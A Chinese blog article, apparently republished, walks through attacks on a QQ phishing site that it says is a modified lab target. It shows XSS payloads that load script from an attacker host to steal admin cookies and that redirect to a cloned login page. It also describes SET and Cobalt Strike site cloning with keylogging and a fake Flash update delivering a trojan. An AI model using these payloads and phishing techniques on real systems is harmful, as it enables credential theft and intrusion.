返回
xss 攻击手段（XSS攻击思路总结）
xss 攻击手段（XSS攻击思路总结）
2024-06-08 03:54:58  作者:颜希野  网址:https://m.xinb2b.cn/life/ava305065.html

前几天看到 B 站 up 主公孙田浩投稿的视频「QQ被盗后发布赌博广告，我一气之下黑了他们网站」，看完后不禁感叹为啥自己没有那么好的运气……实际上这就是一个中规中矩的 XSS 漏洞案例，在安全圈子里面应该也算是基本操作，正好博客以前没有记录过类似的文章，那么本文就来还原一下这个攻击过程。

鉴别网站

下面是一个经典的 QQ 空间钓鱼网站：

xss 攻击手段（XSS攻击思路总结）(1)

域名分析

钓鱼网站最直观的就是看域名，可以看到目标网站域名 ：qq.xps.com 尽管域名中出现了 qq 字样，但是一级域名却是 xps.com 这一点就直接暴露了钓鱼网站的本性。

早期还有一种利用拉丁字母注册的域名伪造钓鱼网站的案例，这种就比较逼真了，下面国光简单列举一些：

OPPO 官网 真假域名

Bash

# 真域名www.oppo.com# 假域名www.οppο.com

Pornhub 官网真假域名

Bash

# 真域名www.pornhub.com# 假域名www.ρornhub.com

唯品会官网 真假域名

Bash

# 真域名www.vip.com# 假域名www.νip.com

关于这类域名就不再列举了，早期这种方法成功率是非常的高的，有时候甚至都可以欺骗到我们这种专业的信息安全从业者。

功能分析

钓鱼网站既然是要钓鱼的话，说那么多半还会有后台管理功能。所以使用常规的目录扫描工具多半可以扫描出一些端倪出来：

Bash

dirsearch -u "http://qq.xps.com/" -e * -x 301

xss 攻击手段（XSS攻击思路总结）(2)

果然扫描出了这个 QQ 空间钓鱼网站的后台登录口了：http://qq.xps.com/admin/login.php

xss 攻击手段（XSS攻击思路总结）(3)

至此基本上已经可以确定这个目标网站就是传说中的钓鱼网站了，下面来看一下这个钓鱼网站是如何运作的吧。

钓鱼流程

小白用户前台输入自己的 QQ 账号和密码信息，点击登录后域名跳转到真正的 QQ 官网：

xss 攻击手段（XSS攻击思路总结）(4)

然后用户再输入自己的 QQ 账号和密码就可以成功登陆了。

目前很多钓鱼网站都是这种思路，这可以让被钓者产生一种自己第一次是密码不小心输入错误的错觉，从而放松警惕，妙啊！真是妙蛙种子吃着妙脆角，妙进了米奇妙妙屋 妙到家了

xss 攻击手段（XSS攻击思路总结）(5)

然后钓鱼网站的管理员每天会到自己的 QQ 空间钓鱼管理中心里面看看今天又有哪些菜鸡上钩了：

xss 攻击手段（XSS攻击思路总结）(6)

可以看到上钩者的 QQ 号为：1314520 密码为：sbhac… 唉，不对劲？貌似自己被羞辱了一番……

攻击思路

本文主要是来梳理一下 XSS 常见的攻击思路，关于 XSS 以为的思路不在本文的叙述范围内，另外如果有小伙伴要不错新的姿势的话欢迎评论区里面或者邮件留言，国光日后会继续完善本文的。

思路一：XSS 盲打

如果目标网站存在 XSS 的话且没有 httponly 防御 Cookie 那么就可以直接盲打 XSS。首先准备一个 XSS 靶场，国光这里比较推荐 Github 上面开源的蓝莲花 XSS 平台。

官方项目地址为：https://github.com/firesunCN/BlueLotus_XSSReceiver

可惜已经清空数据了，还好国光我 fork 了一份：

国光 fork 的项目地址为：https://github.com/sqlsec/BlueLotus_XSSReceiver

xss 攻击手段（XSS攻击思路总结）(7)

然后使用 XSS 平台里面的模块来生成一个 XSS payload：

Javascript

<script src="http://10.20.24.244/xss/myjs/x.js"></script>

可以去掉多余的双引号：

Javascript

<script src=http://10.20.24.244/xss/myjs/x.js></script>

然后回到钓鱼网站前台，在用户名或者密码出插入 payload（理论上来说 密码处成功率要高一点），如果有表单长度限制的话，可以手工审查元素修改 input 的长度限制：

xss 攻击手段（XSS攻击思路总结）(8)

这样黑客攻击的步骤基本上就走完了，下面回到钓鱼网站管理员的视角。

钓鱼网站的搭建者到自己的 QQ 空间钓鱼管理中心里面看看今天又有哪些菜鸡上钩了：

xss 攻击手段（XSS攻击思路总结）(9)

发现真的有菜鸡上钩，密码居然是 1111111111 嘴角忍不住上仰。

此时他不知道的是，用户账号旁边实际上有一串 JS 代码被解析了，而此时黑客在 XSS 平台里面可以直接看到管理员已经上钩了：

xss 攻击手段（XSS攻击思路总结）(10)

可以直接看到管理员的后台地址和 cookie 信息，拿到后台地址和 Cookie 信息就可以直接抓包替换 Cookie 登录到钓鱼网站的后台，这些基本操作国光我就不在啰嗦了，下面来说一下另一种思路。

思路二：SET 钓鱼

假设目标网站存在 httppnly 的话，我们拿到的 cookie 信息也是不完整的，所以传统的思路是行不通的，这种情况下该怎么办呢？仔细想想，既然不能正面肛 httponly 的话，那么为什么不考虑绕过他呢？

下面国光主要描述一下如何使用 Kali Linux 里面的 set 社工工程学工具包来进行钓鱼。

SET 在 Kali Linux 里面的全称是 social engineering toolkit：

xss 攻击手段（XSS攻击思路总结）(11)

Github 项目地址为：https://github.com/trustedsec/social-engineer-toolkit

点击即可直接启动，首先会看到如下的菜单：

Bash

Select from the menu: 1) Social-Engineering Attacks # 社会工程攻击 2) Penetration Testing (Fast-Track) # 渗透测试（快速通道） 3) Third Party Modules # 第三方模块 4) Update the Social-Engineer Toolkit # 更新 SET 5) Update SET configuration # 更新 SET 配置 6) Help, Credits, and About # 帮助 99) Exit the Social-Engineer Toolkit # 退出set> 1

选择 1 后进入到下面的菜单：

Bash

Select from the menu: 1) Spear-Phishing Attack Vectors # 鱼叉式网络钓鱼攻击 2) Website Attack Vectors # 网站攻击 3) Infectious Media Generator # 感染性介质生成 4) Create a Payload and Listener # 创建 Payload 和 监听器 5) Mass Mailer Attack # 群发邮件 6) Arduino-Based Attack Vector # 基于 Arduino 的攻击 7) Wireless Access Point Attack Vector # 无线接入点攻击 8) QRCode Generator Attack Vector # 二维码生成器攻击 9) Powershell Attack Vectors # Powershell 攻击 10) Third Party Modules # 第三方模块 99) Return back to the main menu. # 返回主菜单set> 2

选择 2 后进入到下面的菜单：

Bash

1) Java Applet Attack Method # Java Applet 攻击 2) Metasploit Browser Exploit Method # Metasploit Browser 浏览器攻击 3) Credential Harvester Attack Method # 凭证窃取攻击 4) Tabnabbing Attack Method # 标签页劫持 5) Web Jacking Attack Method # 网页劫持攻击 6) Multi-Attack Web Method # 综合网页攻击 7) HTA Attack Method # HTA 攻击 99) Return to Main Menu # 返回主菜单set:webattack> 3

选择 3 进入到下面的菜单：

Bash

1) Web Templates # 网站模板 2) Site Cloner # 站点克隆 3) Custom Import # 自定义导入 99) Return to Webattack Menu # 返回主菜单set:webattack> 2

选择 2 然后具体看下下面的操作：

xss 攻击手段（XSS攻击思路总结）(12)

这个时候一个假的钓鱼网站就制作完成了，访问 Kali Linux 的 80 端 10.20.25.39 效果如下：

xss 攻击手段（XSS攻击思路总结）(13)

这个登录入口和 qq.xps.com/admin/login.php 的登录口一模一样：

xss 攻击手段（XSS攻击思路总结）(14)

现在的任务就是想办法让管理员在假的网站里面输入网站的后台用户名和密码信息，那么该怎么诱导管理员点击呢？对，聪明的网友肯定想到了，还是利用 XSS，准备下方的 payload，这个 XSS 的作用就是普通的链接跳转：

Javascript

<script>window.location.href="http://10.20.25.39/"</script>

然后将这个 payload 插入到钓鱼网站的后台中：

xss 攻击手段（XSS攻击思路总结）(15)

此时管理员到自己的 QQ 空间钓鱼管理中心里面看看今天又有哪些菜鸡上钩了，结果没想到网站浏览器却跳转到了：10.20.25.39 页面，这个就是我们制作的假的QQ 空间钓鱼管理中心的登录界面。

如果管理员大意的话，这个时候会以为登录会话超期了，需要重新登录，就在我们假的网站后台里面输入了真正的密码：

xss 攻击手段（XSS攻击思路总结）(16)

我们这个假的网站也非常妙，登录后自动转发到正确的网站登录成功，真是学以致用呀~~

管理员放松警惕的同时，我们的 Kali Linux 里也窃取到管理员的明文账号和密码信息了：

xss 攻击手段（XSS攻击思路总结）(17)

拿到这个后台就可以成功登陆了，Bingo ~

当然如果管理员是一个有很高安全意识的人，可能是不会上当的，本案例仅供意淫参考使用，实际运用还是得看运气。

思路三：Flash 钓鱼

这也是 B 站 视频里面提到过的方法，首先我们需要准备一个钓鱼页面，这里在 Github 上搜索到了 2 个 相关的项目，下面分别展示一下：

项目地址：https://github.com/Wileysec/adobe-flash-phishing-page

模仿的 Flash Player 中文官网的页面

xss 攻击手段（XSS攻击思路总结）(18)

项目地址： https://github.com/r00tSe7en/Flash-Pop

这种的就要稍微激进一点，强迫症都会忍不住去点击下载的：

xss 攻击手段（XSS攻击思路总结）(19)

国光这里选择了第 2 种激进的方法，点击立即升级的这个按钮点击会下载好国光我准备好的 CS 木马。如果管理员以为自己的 Flash 版本过低的话，可能会下载并运行这个木马：

xss 攻击手段（XSS攻击思路总结）(20)

这里偷懒了没有给 Flash.exe 添加图标伪造一下，关于图标伪造大家可以参考之前的文章：

为 Cobalt Strike exe 木马添加图标

如果顺利的话就会成功上线 CS：

xss 攻击手段（XSS攻击思路总结）(21)

思路四：CS 钓鱼

补充一个思路，除了使用 Kali 里面的 SET 来构建钓鱼网站，使用 Cobalt Strike 也是可以轻松构建出一个钓鱼网站的，操作也比较简单：

「攻击」-「钓鱼攻击」-「克隆网站」：

xss 攻击手段（XSS攻击思路总结）(22)

具体的配置如下，记得勾选键盘记录：

xss 攻击手段（XSS攻击思路总结）(23)

接着访问 8022 端口发现的确克隆成功：

xss 攻击手段（XSS攻击思路总结）(24)

然后和上面思路一样，借助 XSS 强制让目标人员访问到我们的这个 CS 模仿的网站。如果成功的话，在 Web 日志的控制台里面可以看到被钓鱼者的键盘明文记录的：

xss 攻击手段（XSS攻击思路总结）(25)

总结

免责声明：本文出现的思路案例仅供网络安全学习和研究技术使用，禁止使用本博客的黑客技术工具用于非法用途，否则后果自负，另外文中所使用的 QQ 空间钓鱼网站是人为修改的漏洞靶场

来源: 国光文章作者: 国光文章链接: https://www.sqlsec.com/2020/10/xss2.html

  • dnf大佬团本（还值得打的过气团本）
  • 2024-06-09还值得打的过气团本自安图恩第一个团本开启为止，DNF已经陆陆续续的开启了7个团本了！7个团本说多不多，说少也不少也，有些团本由于已经陨落，再加上早期团本的装备早已过气，因此目前有必要打的团本其实并不多，主要有2个，例如。
  • 考取南京大学（南京大学升学去向）
  • 2024-06-09南京大学升学去向本文来给大家介绍一下南京大学学生的升学去向南京大学升学去向包括本科生和研究生的升学数据，其中本科生升学人数较多升学人数包括了保送研究生的人数，南京大学今年保送研究生1209人，占本科生总人数的比例为3。
  • 立冬是不是冬至（立冬是冬至吗）
  • 2024-06-09立冬是冬至吗不是，立冬和冬至是两个不同的节气时间不同：立冬是一年冬季的开始，作为冬季的第一个节气，于每年的11月8日前后，太阳到达黄经225度时开始冬至在每年的12月21日至23日之间含义不同：立冬后日照时间继续。
  • 垃圾分类怎么画画简单又漂亮（垃圾分类Look）
  • 2024-06-09垃圾分类Look垃圾分类知识科普趣味绘画日前尚佳新苑社区以暑假活动为契机组织社区青少年开展“垃圾分类知识科普趣味绘画”游戏活动学习知识&绘画DIY尚佳新苑社区共建单位工作人员给前来参加活动的小朋友们介绍了垃圾。
  • 女人受侵害的电影推荐（这片可真能恶心老实人）
  • 2024-06-09这片可真能恶心老实人这么多年来，厂长对韩国纯爱电影的印象，还停留在《我的野蛮女友》，《假如爱有天意》这样的经典老片上那时候，纯是真的纯但殊不知，闷骚的韩国人，早就不拍这种清汤寡水的电影了……设定啊，尺度啊，纷纷内卷起来！。
  • 梦见手机碎了（梦见手机碎了预示什么）
  • 2024-06-09梦见手机碎了预示什么如果晚上睡觉的时候做梦手机碎了，得此梦者五行乃是金水相生，则你在事业中多有与别人合作顺利，对事业有推动作用如你本身从事与技术相关行业者，则事业中多有贵人相助，此乃吉兆也，秋天梦之吉利，冬天梦之不吉利。
  • 怎么样选一款合适的燃气热水器（买高端燃气热水器）
  • 2024-06-09买高端燃气热水器特维尔是德国久负盛名的老牌燃气热水器，专注燃热技术发展92年，始终坚持为消费者提供高端燃气热水器特维尔CRS系列，是符合欧盟出口标准的系列产品，在国内很多城市都有门店特维尔燃气热水器向来都是采用行业高。
  • 第一次玩新模式输了好不开心（爽嗨飙泪无限速）
  • 2024-06-09爽嗨飙泪无限速期盼已久的《明日之战》终于在全国院线上映，了却了影迷们的一番心愿电影阵容相当有看点，由《银河护卫队》星爵饰演者克里斯·帕拉特担任主角，他带领小分队穿越时空，到未来与怪兽白长钉展开殊死搏斗这是一部好莱坞。
  • 世界公认三大最美海滩（世界上10个最美丽的海滩）
  • 2024-06-09世界上10个最美丽的海滩梦想着您的海滩之旅？疫情原因出不了门，那就让我们云旅游一下世界上10个最美丽的海滩我们谈论的是细腻的白色沙滩，清澈的海水，棕榈树环绕的海岸，吊床和小屋，从中可以享受游泳后的小睡，以及可以欣赏碧绿海水景。
  • 人生境界八首诗 人生感悟诗句
  • 2024-06-09人生境界八首诗 人生感悟诗句地低成海，人低为王，圣者无名，大者无形，鹰立如睡，虎行似病，贵而不显，华而不炫韬光养晦，深藏不露才高而不自诩，位高而不自傲赏析世间万物皆起于低，成之于低，低是高的发端与缘起，高是低的嬗变与演绎“满招损。
  • 便秘吃什么食物快速通便（经常便秘不用愁）
  • 2024-06-09经常便秘不用愁有不少人遭受便秘折磨，每天排便很困难，上厕所时浪费许多时间依然无法将粪便排出要了解有便秘困扰如何解决，通过坚持良好习惯让肠道蠕动速度快，身体才能保持健康很多人会通过饮食调节的方式来缓解便秘，那么，长时。